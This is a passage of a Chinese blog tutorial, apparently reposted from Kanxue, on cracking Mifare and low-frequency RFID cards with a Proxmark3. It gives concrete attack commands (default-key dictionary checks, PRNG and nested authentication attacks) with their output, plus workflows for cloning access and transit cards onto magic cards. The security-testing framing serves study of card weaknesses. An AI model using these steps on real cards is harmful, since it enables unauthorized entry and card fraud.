NXP

【RFID安全】浅谈卡片破解

2019-07-12 12:02发布

data/attach/1907/eac0612yh6lr5hakwgqspxczm6gopghy.jpgdata/attach/1907/yc48ml6c9jinh3rd0bw8ycpvqgscvcj5.jpgdata/attach/1907/nuez2xvndhcvbsovn4iwp6gcbwt7wh5j.jpgdata/attach/1907/fqtviy6jpvat2t7j6gmtqpyv3ys0l9j6.jpgdata/attach/1907/k4ql1h52dp1gbjlh7l1ft8qwnzt3ud81.jpgdata/attach/1907/x1r5clckcd752e34ynfmjf28m83ex7lf.jpgdata/attach/1907/yi3nz5jr3juanekb8epyy8o0o2u9vrwi.jpgdata/attach/1907/eodpn61n0g8d57snoxveiq5td3vjfv6u.jpgdata/attach/1907/fgtnffaxvah2nwg8l8u0vczx081cllco.jpgdata/attach/1907/zji26r210mouuhb6qchrw6vrz0gmrxju.jpgdata/attach/1907/itw3imtqr3ofcfkdmp8gqtx3uai8fe1i.jpg 转自:看雪学院(ID:ikanxue)作者: 毅种循环
闲来无事,就去淘了块Proxmark3,用来研究卡片破解,AU122也可以嗅探,但是远远不及Proxmark3,无论是价格还是配置方面,最近这段时间,PM3 要出 V4.0版本,将会拥有变 {MOD}龙(德国友人做的一款同样的RFID安全设备)的能力。

RFID技术简介

射频识别,RFID(Radio Frequency Identification)技术,又称无线射频识别,是一种通信技术,可通过无线电讯号识别特定目标并读写相关数据,而无需识别系统与特定目标之间建立机械或光学接触。
射频的话,一般是微波,1-100GHz,适用于短距离识别通信。

RFID读写器也分移动式的和固定式的,目前RFID技术应用很广,如:图书馆,门禁系统,食品安全溯源等。
 RFID层次的安全问题,我只用一些较常见的卡片写在本文进行探讨,全加密卡,CPU卡,以及金额修改等相关详细我并不会在此文写出。 

常见的卡片

1.Mifare S50 (简称M1) 频率是高频 13.56M 这是最常见的卡,每张卡独一无二UID号,可存储或者修改数据,类似卡片有(学生卡。饭卡,公交卡,门禁卡) 2.Mifare UItarlight(简称MO) MO卡片频率是高频,成本很低,出厂的时候写死了UID,可存储修改数据,类似卡片(地铁卡,公交卡) 3.Mifare UID (简称UID卡) 频率是高频 是属于M1卡的变异版本,可修改UID卡,俗称的魔术卡,可以克隆完整的 M1 S50 的数据。 4.EM4XX (简称ID卡) 频率是低频 用的地方是低成本的门禁卡,小区门禁卡,停车场门禁卡这种,特点是 只能读,不能写。 5.T5577 (可随意修改ID卡) 频率低频,特点是可以用来克隆ID卡,出厂设置就是空卡。 6.HID Prox II (简称 HID) 频率低频 特点是可以插写。 

设备信息如下:

Proxmark3,支持低高频的读写克隆,支持暴力破解密码,支持漏洞攻击。 

右侧是一块高频信息读取区,左边包含了USB接口和几个小彩灯,以及各种芯片若干。 卡片信息如下:

 上文所说明的卡,基本都齐了,我待会会用各种卡片进行讲解。 安装完成大概是这个样子。 
 红圈的地方就是低频读卡区,将卡片放在这个位置即可读取。
静静靠着他的地方,即是高频所在的区域。
 思路: 卡片的安全性测试,我个人的总体流程就是如下:
首先,判断卡的类型,是IC还是ID。

如果是ID卡,那么

读卡片ID→换白卡→写入ID卡号→克隆完成→攻击成功

ID卡是低频卡,思路比较简单,IC卡为高频卡,攻击的思路可不少。 IC卡的总体思路如下:
漏洞测试→获取全卡数据→换上UID卡→写入数据→攻击成功

如果执行数据修改,思路如下:

漏洞测试→读全卡数据→解密卡片数据→破解厂商算法→修改数据→攻击成功。
 

IC卡攻击思路如下:

1.获得任意扇区的密码
1.1 PRNG漏洞攻击得到0扇区的密码
1.2 默认密码扫描获得密码
1.3 嗅探读卡机和卡片交互的时候获得密码,这种方式需要现场进行交互,不太方便。
 2.利用 MFOC漏洞,可以暴力破解得到所有扇区的密匙

M1 S50卡片破解实录
实验环境是Windows7,我没有使用Linux的,我的Linux机器是Kali linux版本,没有安装相关的驱动,就用Window的命令行进行演示。 
 使用命令 hw tune 测试高低频的天线是否没有问题,这里给出了频率,说明硬件正常工作中,进入下一步的测试。 (1)检测卡的类型 这条命令可以用来检测卡是属于什么卡,命令为 hf 14a reader 我们将我们的测试卡放置到读卡区内,输入命令进行读取。 返回结果:
proxmark3> hf 14a reader
ATQA : 00 04
UID : c0 68 ca d4
SAK : 08 [2]
TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1
proprietary non iso14443-4 card found, RATS not supported
Answers to chinese magic backdoor commands: NO
proxmark3>
TYPE即是他的卡片属性,当你看到“NXP MIFARE CLASSIC 1k | Plus 2k SL1”的时候,就代表这是M1 S50的卡片,这种卡片出厂就是自带了加密的,密码不可以取消。既然知道了是什么卡片,那么就可以进行安全测试。 (2)暴力破解卡片密码
上文我们讲到了M1 S50卡片出厂自带的密码,那么我们想知道其中的数据,肯定要先对卡片进行一次密码破解,关于密码破解的命令如下:
hf mf chk *1 ? t
这条命令会枚举每个扇区的密码,然后执行一系列自动操作。


如图所示,Proxmark3开始执行破解,可以从图中看到,已经获得了一些明文密钥,
proxmark3> hf mf chk *1 ? t
No key specified, trying default keys
chk default key[ 0] ffffffffffff
chk default key[ 1] 000000000000
chk default key[ 2] a0a1a2a3a4a5
chk default key[ 3] b0b1b2b3b4b5
chk default key[ 4] aabbccddeeff
chk default key[ 5] 4d3a99c351dd
chk default key[ 6] 1a982c7e459a
chk default key[ 7] d3f7d3f7d3f7
chk default key[ 8] 714c5c886e97
chk default key[ 9] 587ee5f9350f
chk default key[10] a0478cc39091
chk default key[11] 533cb6c723f6
chk default key[12] 8fd0a4f256e9
--sector: 0, block:  3, key type:A, key count:13
Found valid key:[ffffffffffff]
--sector: 1, block:  7, key type:A, key count:13
Found valid key:[ffffffffffff]
--sector: 2, block: 11, key type:A, key count:13
Found valid key:[ffffffffffff]
--sector: 3, block: 15, key type:A, key count:13
贴出了部分返回信息,可以看到,Promark3自带的字典密码都已经显示,此时Proxmark3是开始测试常用的密码,接下来会用这些密码去验证扇区的密码。
--sector0block:  3, key type:A, key count:13
  Found valid key:[ffffffffffff]
这条命令需要说明的是,这代表了验证成功,0扇区的卡片密码是“ffffffffffff",如果卡片不存在这个默认的密码,则不会出现提示。 有意思是,Proxmark的字典里自带的这12种密码,包含了世界范围内发行的RFID卡片默认出厂钥匙,而国内的卡片出厂一般都是“ffffffffffff” (3)执行漏洞攻击 接下来我们可以用PRNG漏洞进行攻击,命令如下:
hf mf mifare


 通过这种方式同样可以获得卡片的Key,但并不是所有的卡片都存在这种漏洞,如果不存在PRNG漏洞,就需要使用另外的方法来获得卡片的Key (4)得到卡片的所有密码
上面我提到了,对于IC卡,只需要获得一个密码就可以了,因为我们在后边可以用暴力破解的方式进行获取全卡密码。
 它的指令如下:
hf mf nested 1 0 A FFFFFFFFFFFF d


这是利用一个认证漏洞,可以使用任何一个扇区的密码来获取所有扇区的密码,这种破解方式的成功率相当高。 

-----------------------------------------------
Iterations count: 12


|---|----------------|---|----------------|---|
|sec|key A           |res|key B           |res|
|---|----------------|---|----------------|---|
|000|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|001|  ffffffffffff  | 1 |  ffffffffffff  | 1 |